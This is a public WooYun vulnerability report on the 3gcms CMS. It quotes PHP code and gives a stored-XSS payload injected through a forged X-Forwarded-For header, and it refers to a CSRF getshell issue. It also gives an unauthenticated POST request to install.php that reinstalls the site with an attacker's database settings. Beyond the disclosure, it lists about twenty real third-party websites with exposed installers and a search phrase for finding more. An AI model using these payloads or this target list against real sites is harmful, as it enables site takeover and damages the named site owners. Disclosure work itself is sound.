当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098080

漏洞标题:3gcms漏洞打包#存储型xss/Csrf/Getshell/重装#

相关厂商:3gCms

漏洞作者: 浅蓝

提交时间:2015-03-02 11:24

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如题

详细说明:

一、存储型Xss
http://localhost/3gcms/index.php?s=guestbook 看看留言的相关代码

//先解密js的escape $data['author'] = htmlspecialchars(unescape($_POST['author'])); $data['content'] = htmlspecialchars(trim(unescape($_POST['content']))); $data['title'] = htmlspecialchars(trim(unescape($_POST['title']))); $data['tel'] = htmlspecialchars(trim(unescape($_POST['tel']))); $data['ip'] = get_client_ip(); $data['addtime'] = date('Y-m-d H:i:s'); //处理数据 if($pl->add($data)) { Session::set('posttime', time()); if($config['bookoff'] == 0) { echo '发布成功,留言需要管理员审核!'; exit; } else { echo '发布成功!'; exit; } } else { echo '发布失败!'; exit; }

$data['ip'] = get_client_ip(); 再看看这个函数 /Web/Common/common.php

function get_client_ip() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); }

可以伪造xff 本来以为是有注入的 不过好像经过add()函数sql转义了 但是没有html转义 以下是提交留言时的监控记录

INSERT INTO `3gcms_guestbook` (`author`,`content`,`title`,`tel`,`ip`,`addtime`) VALUES ('&quot;&gt;&lt;img s','啊是dasdasdasd','&quot;&gt;&lt;img src=x&gt;','&quot;&gt;&lt;img src=x&gt;','\"><svg/onload=alert(/x/)>','2015-02-13 20:57:10')

除了ip以外 其他的都被html转义了 而Ip只经过sql转义 只需要伪造一下xff 改成恶意html代码即可

4K_R`7HQFW(R420UQ5LAVFI.png


二、Csrf Getshell
请管理看http://www.wooyun.org/bugs/wooyun-2015-097198/trace/241e768f642e3e01e17d85afaf90fff0 里的 “漏洞证明”
我只能看到详细说明
三、重装
3gcms 根目录里有个install.php文件
没有做验证 直接提交即可修改
直接post提交

http://localhost/3gcms/install.php


host=localhost&user=root&password=&dbname=3gcms&install=%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85


54QA)WE8]1O}AL6O`CJZPGW.png


配置数据库信息即可
上次说用户量少。
那我就附上一些案例
http://www.py610.com/install.php
http://zhengzhoumap.com/install.php
http://www.qingchunyu.com//install.php
http://www.py610.com//install.php
http://www.guokangnami.com//install.php
http://m.yinuoedu.net/install.php
http://2014.web.fsai.cn/install.php
http://3g.5-hao.com/install.php
http://www.py610.com/install.php
http://www.i499.cn/install.php
http://www.yanxinmaoyi.com/3gcms/install.php
http://www.xxditu.com/install.php
http://www.secaijiaoyu.com/3gcms/install.php
http://www.qmhz.net/install.php
http://guoshida.com/install.php
http://zhengzhoumap.com/install.php
http://apps.foxhao.com/install.php
http://www.lixueco.com//install.php
http://www.pzkyy.net/3gcms/3gcms//install.php
http://www.sdxsd.cn/b/install.php
http://www.023rs.com/mob/install.php
http://www.shzxys.com/img/install.php
谷歌关键词:版权所有 2013-2018 3GCMS

漏洞证明:

如上

修复方案:

你们更专业

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝